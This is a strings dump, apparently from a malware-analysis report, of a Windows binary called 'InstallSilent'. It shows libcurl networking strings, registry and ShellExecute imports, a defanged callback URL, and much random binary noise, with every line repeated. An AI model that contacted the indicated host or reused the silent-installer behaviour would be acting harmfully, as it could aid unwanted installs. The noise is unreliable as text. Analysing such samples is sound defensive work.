!"DDD#D$DÝ&D'()DDDDDDDDDDDDD*DDDDDDDDDDDD DD,-DDDDDDDDDDD.D/DDDDDDDDDDDDDD01DD234DD56789DDDDDDDD:;DDDD?DDDDD@ABDDDDDCF!C
!"DDD#D$DÝ&D'()DDDDDDDDDDDDD*DDDDDDDDDDDD DD,-DDDDDDDDDDD.D/DDDDDDDDDDDDDD01DD234DD56789DDDDDDDD:;DDDD?DDDDD@ABDDDDDCF!C
>%u Wj%
>%u Wj%
_u.Ph
_u.Ph
tX9.uT
tX9.uT
FLu$
FLu$
ERROR: %s
ERROR: %s
hXXp://tj.sgshurufa.com/server_time
hXXp://tj.sgshurufa.com/server_time
%d%.2d%.2d
%d%.2d%.2d
mscoree.dll
mscoree.dll
Please contact the application's support team for more information.
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
KERNEL32.DLL
KERNEL32.DLL
portuguese-brazilian
portuguese-brazilian
kernel32.dll
kernel32.dll
GetProcessWindowStation
GetProcessWindowStation
USER32.DLL
USER32.DLL
operator
operator
.jpeg
.jpeg
.html
.html
--%s--
--%s--
couldn't open file "%s"
couldn't open file "%s"
Content-Type: %s
Content-Type: %s
; filename="%s"
; filename="%s"
Content-Disposition: attachment; filename="%s"
Content-Disposition: attachment; filename="%s"
Content-Type: multipart/mixed, boundary=%s
Content-Type: multipart/mixed, boundary=%s
%s; boundary=%s
%s; boundary=%s
Could not resolve %s: %s; %s
Could not resolve %s: %s; %s
getaddrinfo() failed for %s:%d; %s
getaddrinfo() failed for %s:%d; %s
init_resolve_thread() failed for %s; %s
init_resolve_thread() failed for %s; %s
%s:%d
%s:%d
About to connect() to %s%s port %ld (#%ld)
About to connect() to %s%s port %ld (#%ld)
Connected to %s (%s) port %ld (#%ld)
Connected to %s (%s) port %ld (#%ld)
IDN support not present, can't parse Unicode domains
IDN support not present, can't parse Unicode domains
Protocol %s not supported or disabled in libcurl
Protocol %s not supported or disabled in libcurl
malformed
malformed
:]://%[^
:]://%[^
[^:]:%[^
[^:]:%[^
http_proxy
http_proxy
%5[^:@]:%5[^@]
%5[^:@]:%5[^@]
:%5[^@]
:%5[^@]
Port number too large: %lu
Port number too large: %lu
%s://%s%s%s:%hu%s%s%s
%s://%s%s%s:%hu%s%s%s
;type=%c
;type=%c
[%*45[0123456789abcdefABCDEF:.]%c
[%*45[0123456789abcdefABCDEF:.]%c
Couldn't find host %s in the _netrc file; using defaults
Couldn't find host %s in the _netrc file; using defaults
PTF@example.com
PTF@example.com
Couldn't resolve host '%s'
Couldn't resolve host '%s'
Couldn't resolve proxy '%s'
Couldn't resolve proxy '%s'
User-Agent: %s
User-Agent: %s
Re-using existing connection! (#%ld) with host %s
Re-using existing connection! (#%ld) with host %s
%s://%s
%s://%s
Connection #%ld to host %s left intact
Connection #%ld to host %s left intact
operation aborted by callback
operation aborted by callback
ioctl callback returned error %d
ioctl callback returned error %d
the ioctl callback returned %d
the ioctl callback returned %d
seek callback returned error %d
seek callback returned error %d
Problem (%d) in the Chunked-Encoded data
Problem (%d) in the Chunked-Encoded data
HTTP server doesn't seem to support byte ranges. Cannot resume.
HTTP server doesn't seem to support byte ranges. Cannot resume.
Excess found in a non pipelined read: excess = %zd url = %s (zero-length body)
Excess found in a non pipelined read: excess = %zd url = %s (zero-length body)
Excess found in a non pipelined read: excess = %zu, size = %lld, maxdownload = %lld, bytecount = %lld
Excess found in a non pipelined read: excess = %zu, size = %lld, maxdownload = %lld, bytecount = %lld
Rewinding stream by : %zu bytes on url %s (size = %lld, maxdownload = %lld, bytecount = %lld, nread = %zd)
Rewinding stream by : %zu bytes on url %s (size = %lld, maxdownload = %lld, bytecount = %lld, nread = %zd)
Rewinding stream by : %zd bytes on url %s (zero-length body)
Rewinding stream by : %zd bytes on url %s (zero-length body)
Operation timed out after %ld milliseconds with %lld bytes received
Operation timed out after %ld milliseconds with %lld bytes received
Operation timed out after %ld milliseconds with %lld out of %lld bytes received
Operation timed out after %ld milliseconds with %lld out of %lld bytes received
Added %s:%d:%s to DNS cache
Added %s:%d:%s to DNS cache
Resolve %s found illegal!
Resolve %s found illegal!
%5[^:]:%d:%5s
%5[^:]:%d:%5s
No URL set!
No URL set!
[^?&/:]://%c
[^?&/:]://%c
Violate RFC 2616/10.3.2 and switch from POST to GET
Violate RFC 2616/10.3.2 and switch from POST to GET
Violate RFC 2616/10.3.3 and switch from POST to GET
Violate RFC 2616/10.3.3 and switch from POST to GET
Disables POST, goes with %s
Disables POST, goes with %s
Issue another request to this URL: '%s'
Issue another request to this URL: '%s'
unspecified error %d
unspecified error %d
%s cookie %s="%s" for domain %s, path %s, expire %lld
%s cookie %s="%s" for domain %s, path %s, expire %lld
#HttpOnly_
#HttpOnly_
skipped cookie with bad tailmatch domain: %s
skipped cookie with bad tailmatch domain: %s
skipped cookie with illegal dotcount domain: %s
skipped cookie with illegal dotcount domain: %s
httponly
httponly
23[^;
23[^;
=]=I99[^;
=]=I99[^;
%s%s%s
%s%s%s
# Fatal libcurl error
# Fatal libcurl error
# Netscape HTTP Cookie File
# Netscape HTTP Cookie File
# hXXp://curl.haxx.se/rfc/cookie_spec.html
# hXXp://curl.haxx.se/rfc/cookie_spec.html
# This file was generated by libcurl! Edit at your own risk.
# This file was generated by libcurl! Edit at your own risk.
WARNING: failed to save cookies in %s
WARNING: failed to save cookies in %s
[%s %s %s]
[%s %s %s]
Send failure: %s
Send failure: %s
Recv failure: %s
Recv failure: %s
bind failed with errno %d: %s
bind failed with errno %d: %s
Local port: %hu
Local port: %hu
getsockname() failed with errno %d: %s
getsockname() failed with errno %d: %s
Bind to local port %hu failed, trying next
Bind to local port %hu failed, trying next
Couldn't bind to '%s'
Couldn't bind to '%s'
Name '%s' family %i resolved to '%s' family %i
Name '%s' family %i resolved to '%s' family %i
Local Interface %s is ip %s using address family %i
Local Interface %s is ip %s using address family %i
ssloc inet_ntop() failed with errno %d: %s
ssloc inet_ntop() failed with errno %d: %s
ssrem inet_ntop() failed with errno %d: %s
ssrem inet_ntop() failed with errno %d: %s
getpeername() failed with errno %d: %s
getpeername() failed with errno %d: %s
TCP_NODELAY set
TCP_NODELAY set
Could not set TCP_NODELAY: %s
Could not set TCP_NODELAY: %s
Failed to connect to %s: %s
Failed to connect to %s: %s
Trying %s...
Trying %s...
sa_addr inet_ntop() failed with errno %d: %s
sa_addr inet_ntop() failed with errno %d: %s
Unable to parse FTP file list
Unable to parse FTP file list
Error in the SSH layer
Error in the SSH layer
Caller must register CURLOPT_CONV_ callback options
Caller must register CURLOPT_CONV_ callback options
TFTP: No such user
TFTP: No such user
TFTP: Unknown transfer ID
TFTP: Unknown transfer ID
TFTP: Illegal operation
TFTP: Illegal operation
TFTP: Access Violation
TFTP: Access Violation
TFTP: File Not Found
TFTP: File Not Found
Login denied
Login denied
Issuer check against peer certificate failed
Issuer check against peer certificate failed
Invalid LDAP URL
Invalid LDAP URL
Unrecognized or bad HTTP Content or Transfer-Encoding
Unrecognized or bad HTTP Content or Transfer-Encoding
Problem with the SSL CA cert (path? access rights?)
Problem with the SSL CA cert (path? access rights?)
Peer certificate cannot be authenticated with given CA certificates
Peer certificate cannot be authenticated with given CA certificates
Problem with the local SSL certificate
Problem with the local SSL certificate
SSL peer certificate or SSH remote key was not OK
SSL peer certificate or SSH remote key was not OK
An unknown option was passed in to libcurl
An unknown option was passed in to libcurl
A libcurl function was given a bad argument
A libcurl function was given a bad argument
Operation was aborted by an application callback
Operation was aborted by an application callback
FTP: command REST failed
FTP: command REST failed
FTP: command PORT failed
FTP: command PORT failed
HTTP response code said error
HTTP response code said error
FTP: couldn't retrieve (RETR failed) the specified file
FTP: couldn't retrieve (RETR failed) the specified file
FTP: couldn't set file type
FTP: couldn't set file type
FTP: can't figure out the host in the PASV response
FTP: can't figure out the host in the PASV response
FTP: unknown 227 response format
FTP: unknown 227 response format
FTP: unknown PASV reply
FTP: unknown PASV reply
FTP: unknown PASS reply
FTP: unknown PASS reply
FTP: The server did not accept the PRET command.
FTP: The server did not accept the PRET command.
FTP: weird server reply
FTP: weird server reply
A requested feature, protocol or option was not found built-in in this libcurl due to a build-time decision.
A requested feature, protocol or option was not found built-in in this libcurl due to a build-time decision.
URL using bad/illegal format or missing URL
URL using bad/illegal format or missing URL
Unsupported protocol
Unsupported protocol
Winsock version not supported
Winsock version not supported
Protocol family not supported
Protocol family not supported
Address family not supported
Address family not supported
Operation not supported
Operation not supported
Socket is unsupported
Socket is unsupported
Protocol is unsupported
Protocol is unsupported
Protocol option is unsupported
Protocol option is unsupported
Unknown error %d (%#x)
Unknown error %d (%#x)
Internal error removing splay node = %d
Internal error removing splay node = %d
Internal error clearing splay node = %d
Internal error clearing splay node = %d
%d.%d.%d.%d
%d.%d.%d.%d
%s%s%s%s%s%s
%s%s%s%s%s%s
Session: %s
Session: %s
%s %s RTSP/1.0
%s %s RTSP/1.0
Range: %s
Range: %s
Referer: %s
Referer: %s
Accept-Encoding: %s
Accept-Encoding: %s
Refusing to issue an RTSP SETUP without a Transport: header.
Refusing to issue an RTSP SETUP without a Transport: header.
Transport: %s
Transport: %s
Transport:
Transport:
Refusing to issue an RTSP request [%s] without a session ID.
Refusing to issue an RTSP request [%s] without a session ID.
Got RTSP Session ID Line [%s], but wanted ID [%s]
Got RTSP Session ID Line [%s], but wanted ID [%s]
Unable to read the CSeq header: [%s]
Unable to read the CSeq header: [%s]
SMTP
SMTP
LOGIN
LOGIN
EHLO %s
EHLO %s
HELO %s
HELO %s
AUTH %s
AUTH %s
No known auth mechanisms supported!
No known auth mechanisms supported!
AUTH %s %s
AUTH %s %s
Access denied: %d
Access denied: %d
%s xxxxxxxxxxxxxxxx
%s xxxxxxxxxxxxxxxx
Authentication failed: %d
Authentication failed: %d
MAIL FROM:%s SIZE=%s
MAIL FROM:%s SIZE=%s
MAIL FROM:%s
MAIL FROM:%s
RCPT TO:
RCPT TO:
RCPT TO:%s
RCPT TO:%s
SMTPS not supported!
SMTPS not supported!
STARTTLS denied. %c
STARTTLS denied. %c
Got unexpected smtp-server response: %d
Got unexpected smtp-server response: %d
USER %s
USER %s
PASS %s
PASS %s
Access denied. %c
Access denied. %c
Invalid message. %c
Invalid message. %c
RETR %s
RETR %s
LIST %s
LIST %s
POP3S not supported!
POP3S not supported!
%s LOGIN %s %s
%s LOGIN %s %s
%s SELECT %s
%s SELECT %s
%s FETCH 1 BODY[TEXT]
%s FETCH 1 BODY[TEXT]
%s LOGOUT
%s LOGOUT
IMAPS not supported!
IMAPS not supported!
%s STARTTLS
%s STARTTLS
TFTP
TFTP
set timeouts for state %d; Total %ld, retry %d maxtry %d
set timeouts for state %d; Total %ld, retry %d maxtry %d
invalid tsize -:%s:- value in OACK packet
invalid tsize -:%s:- value in OACK packet
%s (%ld)
%s (%ld)
blksize is smaller than min supported
blksize is smaller than min supported
%s (%d)
%s (%d)
blksize is larger than max supported
blksize is larger than max supported
%s (%d) %s (%d)
%s (%d) %s (%d)
got option=(%s) value=(%s)
got option=(%s) value=(%s)
tftp_rx: internal error
tftp_rx: internal error
Timeout waiting for block %d ACK. Retries = %d
Timeout waiting for block %d ACK. Retries = %d
Received unexpected DATA packet block %d, expecting block %d
Received unexpected DATA packet block %d, expecting block %d
tftp_tx: internal error, event: %i
tftp_tx: internal error, event: %i
tftp_tx: giving up waiting for block %d ack
tftp_tx: giving up waiting for block %d ack
Received ACK for block %d, expecting %d
Received ACK for block %d, expecting %d
bind() failed; %s
bind() failed; %s
tftp_send_first: internal error
tftp_send_first: internal error
%s%c%s%c
%s%c%s%c
TFTP finished
TFTP finished
TFTP response timeout
TFTP response timeout
Can't get the size of %s
Can't get the size of %s
Can't open %s for writing
Can't open %s for writing
Last-Modified: %s, d %s M d:d:d GMT
Last-Modified: %s, d %s M d:d:d GMT
Couldn't open file %s
Couldn't open file %s
There are more than %d entries
There are more than %d entries
LDAP remote: %s
LDAP remote: %s
LDAP local: ldap_simple_bind_s %s
LDAP local: ldap_simple_bind_s %s
LDAP local: Cannot connect to %s:%hu
LDAP local: Cannot connect to %s:%hu
LDAP local: trying to establish %s connection
LDAP local: trying to establish %s connection
LDAP local: %s
LDAP local: %s
LDAP local: LDAP Vendor = %s ; LDAP Version = %d
LDAP local: LDAP Vendor = %s ; LDAP Version = %d
CLIENT libcurl 7.23.1
CLIENT libcurl 7.23.1
MATCH %s %s %s
MATCH %s %s %s
DEFINE %s %s
DEFINE %s %s
insufficient winsock version to support telnet
insufficient winsock version to support telnet
WSAStartup failed (%d)
WSAStartup failed (%d)
%s %d %d
%s %d %d
%s %s %d
%s %s %d
%s %s %s
%s %s %s
%s IAC %d
%s IAC %d
%s IAC %s
%s IAC %s
Sending data failed (%d)
Sending data failed (%d)
%d (unknown)
%d (unknown)
%s (unsupported)
%s (unsupported)
%s IAC SB
%s IAC SB
Syntax error in telnet option: %s
Syntax error in telnet option: %s
Unknown telnet option %s
Unknown telnet option %s
7[^= ]%*[ =]%5s
7[^= ]%*[ =]%5s
USER,%s
USER,%s
%c%c%c%c%s%c%c
%c%c%c%c%s%c%c
%c%s%c%s
%c%s%c%s
7[^,],7s
7[^,],7s
%c%c%c%c
%c%c%c%c
FreeLibrary(wsock2) failed (%d)
FreeLibrary(wsock2) failed (%d)
WSACloseEvent failed (%d)
WSACloseEvent failed (%d)
WSAEnumNetworkEvents failed (%d)
WSAEnumNetworkEvents failed (%d)
WSACreateEvent failed (%d)
WSACreateEvent failed (%d)
failed to find WSAEnumNetworkEvents function (%d)
failed to find WSAEnumNetworkEvents function (%d)
failed to find WSAEventSelect function (%d)
failed to find WSAEventSelect function (%d)
failed to find WSACloseEvent function (%d)
failed to find WSACloseEvent function (%d)
failed to find WSACreateEvent function (%d)
failed to find WSACreateEvent function (%d)
failed to load WS2_32.DLL (%d)
failed to load WS2_32.DLL (%d)
WS2_32.DLL
WS2_32.DLL
PORT
PORT
FTP response aborted due to select/poll error: %d
FTP response aborted due to select/poll error: %d
FTP response timeout
FTP response timeout
Failure sending PORT command: %s
Failure sending PORT command: %s
%s %s
%s %s
,%d,%d
,%d,%d
Failure sending EPRT command: %s
Failure sending EPRT command: %s
%s |%d|%s|%hu|
%s |%d|%s|%hu|
bind() failed, we ran out of ports!
bind() failed, we ran out of ports!
bind(port=%hu) failed: %s
bind(port=%hu) failed: %s
bind(port=%hu) on non-local address failed: %s
bind(port=%hu) on non-local address failed: %s
socket failure: %s
socket failure: %s
failed to resolve the address provided to PORT: %s
failed to resolve the address provided to PORT: %s
getsockname() failed: %s
getsockname() failed: %s
Connect data stream passively
Connect data stream passively
PRET RETR %s
PRET RETR %s
PRET STOR %s
PRET STOR %s
PRET %s
PRET %s
REST %d
REST %d
SIZE %s
SIZE %s
STOR %s
STOR %s
APPE %s
APPE %s
Failed to do PORT
Failed to do PORT
Got a d response code instead of the assumed 200
Got a d response code instead of the assumed 200
ftp server doesn't support SIZE
ftp server doesn't support SIZE
Failed FTP upload:
Failed FTP upload:
RETR response: d
RETR response: d
PBSZ %d
PBSZ %d
Access denied: d
Access denied: d
ACCT %s
ACCT %s
ACCT rejected by server: d
ACCT rejected by server: d
TYPE %c
TYPE %c
Connecting to %s (%s) port %d
Connecting to %s (%s) port %d
Failure sending QUIT command: %s
Failure sending QUIT command: %s
Uploading to a URL without a file name!
Uploading to a URL without a file name!
FTPS not supported!
FTPS not supported!
MDTM %s
MDTM %s
Bad PASV/EPSV response: d
Bad PASV/EPSV response: d
Can't resolve new host %s:%hu
Can't resolve new host %s:%hu
Can't resolve proxy host %s:%hu
Can't resolve proxy host %s:%hu
Skips %d.%d.%d.%d for data connection, uses %s instead
Skips %d.%d.%d.%d for data connection, uses %s instead
%d,%d,%d,%d,%d,%d
%d,%d,%d,%d,%d,%d
%c%c%c%u%c
%c%c%c%u%c
ddd d:d:d GMT
ddd d:d:d GMT
dddddd
dddddd
unsupported MDTM reply format
unsupported MDTM reply format
QUOT string not accepted: %s
QUOT string not accepted: %s
Wildcard - "%s" skipped by user
Wildcard - "%s" skipped by user
Wildcard - START of "%s"
Wildcard - START of "%s"
CWD %s
CWD %s
PRET command not accepted: d
PRET command not accepted: d
Failed to MKD dir: d
Failed to MKD dir: d
MKD %s
MKD %s
QUOT command failed with d
QUOT command failed with d
Entry path is '%s'
Entry path is '%s'
PROT %c
PROT %c
unsupported parameter to CURLOPT_FTPSSLAUTH: %d
unsupported parameter to CURLOPT_FTPSSLAUTH: %d
Got a d ftp-server response when 220 was expected
Got a d ftp-server response when 220 was expected
server did not report OK, got %d
server did not report OK, got %d
Failure sending ABOR command: %s
Failure sending ABOR command: %s
Remembering we are in dir "%s"
Remembering we are in dir "%s"
%sAuthorization: Basic %s
%sAuthorization: Basic %s
%s:%s
%s:%s
%s auth using %s with user '%s'
%s auth using %s with user '%s'
HTTP/
HTTP/
Avoided giant realloc for header (max is %d)!
Avoided giant realloc for header (max is %d)!
The requested URL returned error: %d
The requested URL returned error: %d
If-Unmodified-Since: %s
If-Unmodified-Since: %s
Last-Modified: %s
Last-Modified: %s
If-Modified-Since: %s
If-Modified-Since: %s
%s, d %s M d:d:d GMT
%s, d %s M d:d:d GMT
Failed sending HTTP POST request
Failed sending HTTP POST request
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
Internal HTTP POST error!
Internal HTTP POST error!
Failed sending HTTP request
Failed sending HTTP request
%s%s=%s
%s%s=%s
%s HTTP/%s
%s HTTP/%s
%s%s%s%s%s%s%s%s%s%s%s
%s%s%s%s%s%s%s%s%s%s%s
PTF://%s:%s@%s
PTF://%s:%s@%s
Content-Range: bytes %s/%lld
Content-Range: bytes %s/%lld
Content-Range: bytes %s%lld/%lld
Content-Range: bytes %s%lld/%lld
Range: bytes=%s
Range: bytes=%s
PTF://
PTF://
Host: %s%s%s:%hu
Host: %s%s%s:%hu
Host: %s%s%s
Host: %s%s%s
Chunky upload is not supported by HTTP 1.0
Chunky upload is not supported by HTTP 1.0
HTTP error before end of send, stop sending
HTTP error before end of send, stop sending
HTTP/1.0 connection set to keep alive!
HTTP/1.0 connection set to keep alive!
HTTP/1.1 proxy connection set close!
HTTP/1.1 proxy connection set close!
HTTP/1.0 proxy connection set to keep alive!
HTTP/1.0 proxy connection set to keep alive!
HTTP 1.0, assume close after body
HTTP 1.0, assume close after body
RTSP/%d.%d =
RTSP/%d.%d =
HTTP =
HTTP =
HTTP/%d.%d =
HTTP/%d.%d =
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.
SOCKS4%s request granted.
SOCKS4%s request granted.
Failed to resolve "%s" for SOCKS4 connect.
Failed to resolve "%s" for SOCKS4 connect.
No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.)
No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.)
SOCKS5 GSSAPI per-message authentication is not supported.
SOCKS5 GSSAPI per-message authentication is not supported.
Can't complete SOCKS5 connection to %d.%d.%d.%d:%d. (%d)
Can't complete SOCKS5 connection to %d.%d.%d.%d:%d. (%d)
Failed to resolve "%s" for SOCKS5 connect.
Failed to resolve "%s" for SOCKS5 connect.
User was rejected by the SOCKS5 server (%d %d).
User was rejected by the SOCKS5 server (%d %d).
--:--:--
--:--:--
%3lld %s %3lld %s %3lld %s %s %s %s %s %s %s
%3lld %s %3lld %s %3lld %s %s %s %s %s %s %s
@password
@password
login
login
Operation too slow. Less than %ld bytes/sec transferred the last %ld seconds
Operation too slow. Less than %ld bytes/sec transferred the last %ld seconds
%s, algorithm="%s"
%s, algorithm="%s"
%s, opaque="%s"
%s, opaque="%s"
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%s", response="%s"
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%s", response="%s"
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%s", cnonce="%s", nc=x, qop="%s", response="%s"
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%s", cnonce="%s", nc=x, qop="%s", response="%s"
%s:%s:x:%s:%s:%s
%s:%s:x:%s:%s:%s
%s:%.*s
%s:%.*s
%s:%s:%s
%s:%s:%s
d:d
d:d
d:d:d
d:d:d
%c%c==
%c%c==
%c%c%c=
%c%c%c=
Received HTTP code %d from proxy after CONNECT
Received HTTP code %d from proxy after CONNECT
HTTP/1.%d %d
HTTP/1.%d %d
CONNECT %s:%hu HTTP/%s
CONNECT %s:%hu HTTP/%s
%s%s%s%s
%s%s%s%s
Host: %s
Host: %s
%s:%hu
%s:%hu
Establish HTTP proxy tunnel to %s:%hu
Establish HTTP proxy tunnel to %s:%hu
0123456789-
0123456789-
Visual C CRT: Not enough memory to complete call to strerror.
Visual C CRT: Not enough memory to complete call to strerror.
Broken pipe
Broken pipe
Inappropriate I/O control operation
Inappropriate I/O control operation
Operation not permitted
Operation not permitted
g:\Company\PCProject\Common\Temp\Release\InstallSilent.pdb
g:\Company\PCProject\Common\Temp\Release\InstallSilent.pdb
SHLWAPI.dll
SHLWAPI.dll
KERNEL32.dll
KERNEL32.dll
RegCloseKey
RegCloseKey
RegCreateKeyExW
RegCreateKeyExW
RegOpenKeyExW
RegOpenKeyExW
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteW
ShellExecuteW
SHELL32.dll
SHELL32.dll
GetProcessHeap
GetProcessHeap
GetCPInfo
GetCPInfo
GetConsoleOutputCP
GetConsoleOutputCP
PeekNamedPipe
PeekNamedPipe
WS2_32.dll
WS2_32.dll
WLDAP32.dll
WLDAP32.dll
.?AVCHttpPageRequest@@
.?AVCHttpPageRequest@@
.?AVCHttpPageResponse@@
.?AVCHttpPageResponse@@
.?AVCHttpPageClient@@
.?AVCHttpPageClient@@
zcÁ
zcÁ
Ua.KKo;[[
Ua.KKo;[[
}%'r%x.:
}%'r%x.:
=3-%s
=3-%s
xAH.lTh{
xAH.lTh{
.mp9KS
.mp9KS
%XxVt/
%XxVt/
d.zG#
d.zG#
`.cuvK
`.cuvK
@D@.HO@
@D@.HO@
%Cu1zx
%Cu1zx
OO.gsdYQ(
OO.gsdYQ(
%SaO
%SaO
dP.qk
dP.qk
x6(`%x
x6(`%x
p.ae[j
p.ae[j
.pcBW$
.pcBW$
>[(p.iK{
>[(p.iK{
b%X6*
b%X6*
&z.SP
&z.SP
B%c*j*
B%c*j*
F0.jS
F0.jS
7b%XY
7b%XY
Rnb.yu]
Rnb.yu]
i&R-S}|
i&R-S}|
?W(hO
?W(hO
J]%sD
J]%sD
2.mIx
2.mIx
-r/,%dr
-r/,%dr
.Zfl/]N
.Zfl/]N
,V%x_
,V%x_
.QG
.QG
S1.vRFTM
S1.vRFTM
g%1u(
g%1u(
.n}.Qo
.n}.Qo
ü~[
ü~[
.MT=&
.MT=&
>/kr%s
>/kr%s
Ui.PL
Ui.PL
mUdPHD
mUdPHD
%f_h}n
%f_h}n
NY.uL
NY.uL
3}.KW@
3}.KW@
g.AL'
g.AL'
,.vZk?
,.vZk?
%x1~=
%x1~=
?3w&.iz
?3w&.iz
!.bNr
!.bNr
.OEbk
.OEbk
JSZl%f
JSZl%f
*.GdA
*.GdA
Lg.HL
Lg.HL
%XtQ^
%XtQ^
~b-
~b-
.yl;I
.yl;I
*{E.dE2[
*{E.dE2[
.okge
.okge
.Is~46MV
.Is~46MV
Wyg
Wyg
;LP%d
;LP%d
%xw)/
%xw)/
Fh.WN
Fh.WN
.WkP)
.WkP)
W.WVh
W.WVh
.jzwr
.jzwr
õhC
õhC
uI.FJO,
uI.FJO,
.kXm]5
.kXm]5
.ebn"
.ebn"
.Qp v
.Qp v
%xtYr6\d/r
%xtYr6\d/r
hO.nL
hO.nL
|7<.xm>
|7<.xm>
~K.Gl
~K.Gl
`W.xU
`W.xU
]N\%C:1LcW
]N\%C:1LcW
.jjA!
.jjA!
.oECPm
.oECPm
1.oo>
1.oo>
.REoi
.REoi
0i.Cq
0i.Cq
%U=~a
%U=~a
A%xfH
A%xfH
%s>%4
%s>%4
xmC.Be
xmC.Be
.UOby
.UOby
s{.cE
s{.cE
/!S%C
/!S%C
8U?Crt
8U?Crt
Y~.vw
Y~.vw
o.rH>
o.rH>
q.zX~
q.zX~
nKÝ
nKÝ
9(.Fc
9(.Fc
[r,%uG2
[r,%uG2
N%fJ5
N%fJ5
.Dsh%
.Dsh%
B.fPh
B.fPh
"n%u`
"n%u`
%cP':
%cP':
5h%xnX
5h%xnX
U\}f.fG,
U\}f.fG,
.kT}E;
.kT}E;
h6.kIO
h6.kIO
M9%uj
M9%uj
3%c"4
3%c"4
|x4.tE
|x4.tE
-%5ST
-%5ST
ho.keGT
ho.keGT
>c6a%x
>c6a%x
pfTp
pfTp
6XA.bv
6XA.bv
v=_%xS
v=_%xS
.apkc
.apkc
R%FWS
R%FWS
gT%S;M
gT%S;M
Nl.rlX
Nl.rlX
'@nF.AZ
'@nF.AZ
ssHW$
ssHW$
%C~u(jEcb
%C~u(jEcb
V>Y%C
V>Y%C
E .EK
E .EK
L.qt$f
L.qt$f
hxP2b %sd
hxP2b %sd
.xNJq
.xNJq
%UcjI&
%UcjI&
nq\%D
nq\%D
Z%XG&
Z%XG&
eþ2
eþ2
OjV%f
OjV%f
P9B.fPkXx
P9B.fPkXx
.Un>3
.Un>3
92.Lex
92.Lex
r.PN]pR
r.PN]pR
@%FJ,HQL
@%FJ,HQL
S%UdU%
S%UdU%
*%F`-_
*%F`-_
F-A}2
F-A}2
q.Luu
q.Luu
P%x/g^
P%x/g^
)8c?<.qv>
)8c?<.qv>
.lEyP I
.lEyP I
ÏpV
ÏpV
FWPt4.Vn/
FWPt4.Vn/
&\- @ -?
&\- @ -?
.JlL)E
.JlL)E
r!%dO
r!%dO
C%cGr
C%cGr
S%Su> P6LI
S%Su> P6LI
f`T,]%D_1.
f`T,]%D_1.
iP2X%9x
iP2X%9x
%x lF
%x lF
~I.KX
~I.KX
b..mS?
b..mS?
/%]r-X}
/%]r-X}
te[%U
te[%U
(.vq;C
(.vq;C
M.LW-_G
M.LW-_G
.kb4o
.kb4o
.%f$@
.%f$@
Q:\yad
Q:\yad
w(.Dn
w(.Dn
.mu#-0/
.mu#-0/
W.Hs7:
W.Hs7:
.aGA2&
.aGA2&
u.WN.
u.WN.
I:%S|r
I:%S|r
G-\).cg
G-\).cg
.XSJd0
.XSJd0
2%f-E
2%f-E
.Xpz`
.Xpz`
fQ.Sd
fQ.Sd
$ cz{%F
$ cz{%F
%f^gj
%f^gj
U.HNC~
U.HNC~
/inJ;.ro
/inJ;.ro
!a.cOe
!a.cOe
O.lbRv`$FvE
O.lbRv`$FvE
6.EqM
6.EqM
l-K}v
l-K}v
\A`K%F
\A`K%F
0%s7P
0%s7P
).sNc
).sNc
suu%xs
suu%xs
cI.gI
cI.gI
fURL
fURL
.xQoA
.xQoA
.iJ@)lwl1
.iJ@)lwl1
0Ý)TPh
0Ý)TPh
%Dz5K
%Dz5K
-g}w{
-g}w{
>FTP`
>FTP`
YN9E%S
YN9E%S
.cN&-
.cN&-
"K.fG|'
"K.fG|'
%.C?n
%.C?n
gO,%X
gO,%X
|,%u&
|,%u&
D%x8w
D%x8w
&.YP%ICx6
&.YP%ICx6
cg%CO
cg%CO
u.QOM
u.QOM
.gLzH
.gLzH
zW1y%F
zW1y%F
.lOtj{
.lOtj{
\b.BU
\b.BU
.TGn,_
.TGn,_
.KsrTJ`
.KsrTJ`
)|I~cMd
)|I~cMd
Q.pFs
Q.pFs
!J%f\
!J%f\
;7œ,
;7œ,
d%XP5
d%XP5
w_.MJ)!
w_.MJ)!
?/%s/
?/%s/
|S%X,.
|S%X,.
-I}tD|
-I}tD|
*PJnc%d
*PJnc%d
u;%%s
u;%%s
uz|%UM
uz|%UM
Bu-#.Pd
Bu-#.Pd
%Fxeh
%Fxeh
.MS%`I
.MS%`I
j60%UC
j60%UC
X;j.%c
X;j.%c
^H%cQ-
^H%cQ-
DVh%s
DVh%s
>.Tj_B
>.Tj_B
.BR0a
.BR0a
d.fFlac!
d.fFlac!
5.OuB
5.OuB
`w%Uz#
`w%Uz#
WD.SC
WD.SC
up%XT4
up%XT4
Uj}%4X
Uj}%4X
e%DMt@
e%DMt@
(pYR$d`.gG
(pYR$d`.gG
Pa.eep
Pa.eep
.jM6U
.jM6U
F].akD
F].akD
*aweBZ
*aweBZ
%x- u
%x- u
MTVk%c
MTVk%c
o7%xF
o7%xF
WEBM
WEBM
CXR.kDE
CXR.kDE
ls.jBXe
ls.jBXe
.gm#$
.gm#$
y2[%C,
y2[%C,
?%U;j
?%U;j
X.id;
X.id;
.XXU)l
.XXU)l
%cv']
%cv']
R&g.CO
R&g.CO
.ne#l
.ne#l
.Qv2Pofbg,
.Qv2Pofbg,
V`.WG$
V`.WG$
7.Mt-Sb
7.Mt-Sb
%xH9]
%xH9]
C%xre
C%xre
%vE*%s
%vE*%s
b'f>%S
b'f>%S
.Az"[
.Az"[
5%X^(
5%X^(
